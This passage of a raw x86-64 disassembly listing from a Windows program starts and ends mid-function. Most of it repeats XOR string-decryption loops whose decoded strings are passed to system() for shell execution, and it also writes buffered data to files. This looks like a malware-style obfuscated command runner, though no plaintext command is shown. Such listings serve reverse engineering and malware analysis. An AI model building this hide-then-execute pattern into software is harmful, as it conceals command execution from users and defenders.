jl 0x14005e5b0
cmp r8d, 0x29
jge 0x14005e701
movsxd rax, r8d
lea r9, [rbp + 0x610]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x14005e6d0
lea rax, [r12 + 0x1018b8]
lea rcx, [rbp + 0x718]
mov qword [rbp + 0x670], rax
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
or r15d, 0x1c
lea rdx, [rbp + 0x678]
xor r9d, r9d
mov dword [rbp + 0x50], r15d
xor r8d, r8d
lea rcx, [rbp + 0x670]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x670], rdi
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x66c], edx
lea rcx, [rbp + 0x678]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rcx, [rbp + 0x678]
mov qword [rbp + 0x678], rsi
mov byte [rbp + 0x6f4], r14b
mov byte [rbp + 0x6e9], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1401250c0]
lea rcx, [rbp + 0x610]
mov edx, Ordinal_35
mov qword [rbp + 0x6f8], r14
mov qword [rbp + 0x6ec], rax
mov qword [rbp + 0x6e0], r14
lea r8d, [rdx + 0x1e]
call sub.MSVCP140.dll_struct__iobuf____ptr64___cdecl_std::_Fiopen_char_const____ptr64__int__int_
mov rbx, rax
test rax, rax
jne 0x14005e7f8
mov rax, qword [rbp + 0x670]
lea edx, [rbx + 2]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x670]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x14005e901
lea rcx, [rbp + 0x678]
mov byte [rbp + 0x6f4], 1
mov byte [rbp + 0x6e9], r14b
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
lea r9, [rbp + 0x300]
mov qword [rbp + 0x310], r14
lea r8, [rbp + 0x318]
mov qword [rbp + 0x318], r14
lea rdx, [rbp + 0x310]
mov qword [rbp + 0x300], r14
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__get_stream_buffer_pointers]
mov r9, qword [rbp + 0x300]
lea rcx, [rbp + 0x678]
mov r8, qword [rbp + 0x318]
mov rdx, qword [rbp + 0x310]
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64__char____ptr64____ptr64__char____ptr64____ptr64__int____ptr64____ptr64]
mov rax, qword [0x1401250c0]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x678]
mov qword [rbp + 0x6ec], rax
mov qword [rbp + 0x6f8], rbx
mov qword [rbp + 0x6e0], r14
call qword [sym.imp.MSVCP140.dll_public:_class_std::locale___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::getloc_void____ptr64]
mov rcx, rax
call fcn.1400086a0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::codecvt_base::always_noconv_void_const___ptr64]
test al, al
je 0x14005e8c8
mov qword [rbp + 0x6e0], r14
jmp 0x14005e8dc
lea rcx, [rbp + 0x678]
mov qword [rbp + 0x6e0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rcx, qword [rbp + 0x248]
test rcx, rcx
je 0x14005e901
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14005e901
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
cmp byte [rbp + 0x638], r14b
jne 0x14005eaa1
mov r8d, r14d
cmp r13d, 2
jl 0x14005ea57
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x614]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005e950
cmp r8d, 0x29
jge 0x14005eaa1
movsxd rax, r8d
lea r9, [rbp + 0x610]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x14005ea70
mov r8, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x500]
mov rdx, qword [rbp + 0x3a8]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x408]
lea rcx, [rbp + 0x890]
mov rdx, qword [rbp + 0x400]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x468]
lea rcx, [rbp + 0x780]
mov rdx, qword [rbp + 0x460]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x480]
lea rcx, [rbp + 0x670]
mov rdx, qword [rbp + 0x478]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x508]
call fcn.140006f00
test rax, rax
jne 0x14005eb4c
mov rax, qword [rbp + 0x500]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x500]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x898]
call fcn.140006f00
test rax, rax
jne 0x14005eb7f
mov rax, qword [rbp + 0x890]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x890]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x788]
call fcn.140006f00
test rax, rax
jne 0x14005ebb2
mov rax, qword [rbp + 0x780]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x780]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x678]
call fcn.140006f00
test rax, rax
jne 0x14005ebe5
mov rax, qword [rbp + 0x670]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x670]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movzx eax, word [0x1401018f8]
mov r8d, r14d
mov word [rbp - 0x48], ax
movups xmm0, xmmword [0x1401018c0]
movups xmm1, xmmword [0x1401018d0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x1401018e0]
movups xmmword [rbp - 0x70], xmm1
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x1401018f0]
movsd qword [rbp - 0x50], xmm0
cmp r13d, 2
jl 0x14005ed67
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x14005ec60
cmp r8d, 0x3a
jge 0x14005eda2
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x14005ed71
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x140101930]
mov r8d, r14d
mov dword [rbp + 0x218], eax
movzx eax, word [0x140101934]
mov word [rbp + 0x21c], ax
movups xmm0, xmmword [0x140101900]
movups xmm1, xmmword [0x140101910]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm0, xmmword [0x140101920]
movups xmmword [rbp + 0x1f8], xmm1
movups xmmword [rbp + 0x208], xmm0
cmp r13d, 2
jl 0x14005ef39
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x1ec]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x14005ee32
cmp r8d, 0x36
jge 0x14005ef81
movsxd rax, r8d
lea r9, [rbp + 0x1e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14005ef50
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x80]
call fcn.14005b850
mov rdi, rax
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x1e8]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14005efa0
mov rcx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14005f054
lea rax, [r8 + rbx]
mov rsi, rdi
mov qword [rdi + 0x10], rax
cmp rcx, 0xf
jbe 0x14005efd4
mov rsi, qword [rdi]
lea rax, [rbp + 0x1e8]
add rax, rbx
cmp rax, rsi
jbe 0x14005f00e
lea rax, [rsi + r8]
lea rcx, [rbp + 0x1e8]
cmp rcx, rax
ja 0x14005f00e
lea rax, [rbp + 0x1e8]
cmp rsi, rax
jbe 0x14005f011
lea rax, [rbp + 0x1e8]
mov r14, rsi
sub r14, rax
jmp 0x14005f011
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rbp + 0x1e8]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rbx]
mov r8, rbx
lea rdx, [rbp + 0x1e8]
sub r8, r14
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
jmp 0x14005f079
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14005a3e0
mov rdi, rax
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005f0ff
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0fa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006a053
call fcn.1400b79bc
mov r8, qword [rbp - 0x68]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp r8, 0xf
jbe 0x14005f129
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x80]
call fcn.14005bb00
mov eax, dword [0x140101968]
mov r8d, r14d
mov dword [rbp + 0x1a8], eax
movzx eax, byte [0x14010196c]
mov byte [rbp + 0x1ac], al
movups xmm0, xmmword [0x140101938]
movups xmm1, xmmword [0x140101948]
movups xmmword [rbp + 0x178], xmm0
movups xmm0, xmmword [0x140101958]
movups xmmword [rbp + 0x188], xmm1
movups xmmword [rbp + 0x198], xmm0
cmp r13d, 2
jl 0x14005f2b7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x17c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x14005f1b0
cmp r8d, 0x35
jge 0x14005f301
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14005f2d0
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x80]
call fcn.14005b850
mov rdi, rax
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x178]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14005f320
mov rcx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14005f3d4
lea rax, [r8 + rbx]
mov rsi, rdi
mov qword [rdi + 0x10], rax
cmp rcx, 0xf
jbe 0x14005f354
mov rsi, qword [rdi]
lea rax, [rbp + 0x178]
add rax, rbx
cmp rax, rsi
jbe 0x14005f38e
lea rax, [rsi + r8]
lea rcx, [rbp + 0x178]
cmp rcx, rax
ja 0x14005f38e
lea rax, [rbp + 0x178]
cmp rsi, rax
jbe 0x14005f391
lea rax, [rbp + 0x178]
mov r14, rsi
sub r14, rax
jmp 0x14005f391
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rbp + 0x178]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rbx]
mov r8, rbx
lea rdx, [rbp + 0x178]
sub r8, r14
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
jmp 0x14005f3f9
lea rax, [rbp + 0x178]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14005a3e0
mov rdi, rax
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x78]
cmp r8, 0xf
jbe 0x14005f45c
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.14005bb00
mov r8, qword [rbp - 0x68]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp r8, 0xf
jbe 0x14005f486
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x80]
call fcn.14005bb00
mov eax, dword [0x1401019a0]
mov r8d, r14d
mov dword [rbp + 0x170], eax
movzx eax, byte [0x1401019a4]
mov byte [rbp + 0x174], al
movups xmm0, xmmword [0x140101970]
movups xmm1, xmmword [0x140101980]
movups xmmword [rbp + 0x140], xmm0
movups xmm0, xmmword [0x140101990]
movups xmmword [rbp + 0x150], xmm1
movups xmmword [rbp + 0x160], xmm0
cmp r13d, 2
jl 0x14005f617
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x144]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x14005f510
cmp r8d, 0x35
jge 0x14005f661
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14005f630
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x80]
call fcn.14005b850
mov rdi, rax
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x140]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14005f680
mov rcx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14005f734
lea rax, [r8 + rbx]
mov rsi, rdi
mov qword [rdi + 0x10], rax
cmp rcx, 0xf
jbe 0x14005f6b4
mov rsi, qword [rdi]
lea rax, [rbp + 0x140]
add rax, rbx
cmp rax, rsi
jbe 0x14005f6ee
lea rax, [rsi + r8]
lea rcx, [rbp + 0x140]
cmp rcx, rax
ja 0x14005f6ee
lea rax, [rbp + 0x140]
cmp rsi, rax
jbe 0x14005f6f1
lea rax, [rbp + 0x140]
mov r14, rsi
sub r14, rax
jmp 0x14005f6f1
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rbp + 0x140]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rbx]
mov r8, rbx
lea rdx, [rbp + 0x140]
sub r8, r14
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
jmp 0x14005f759
lea rax, [rbp + 0x140]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14005a3e0
mov rdi, rax
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x78]
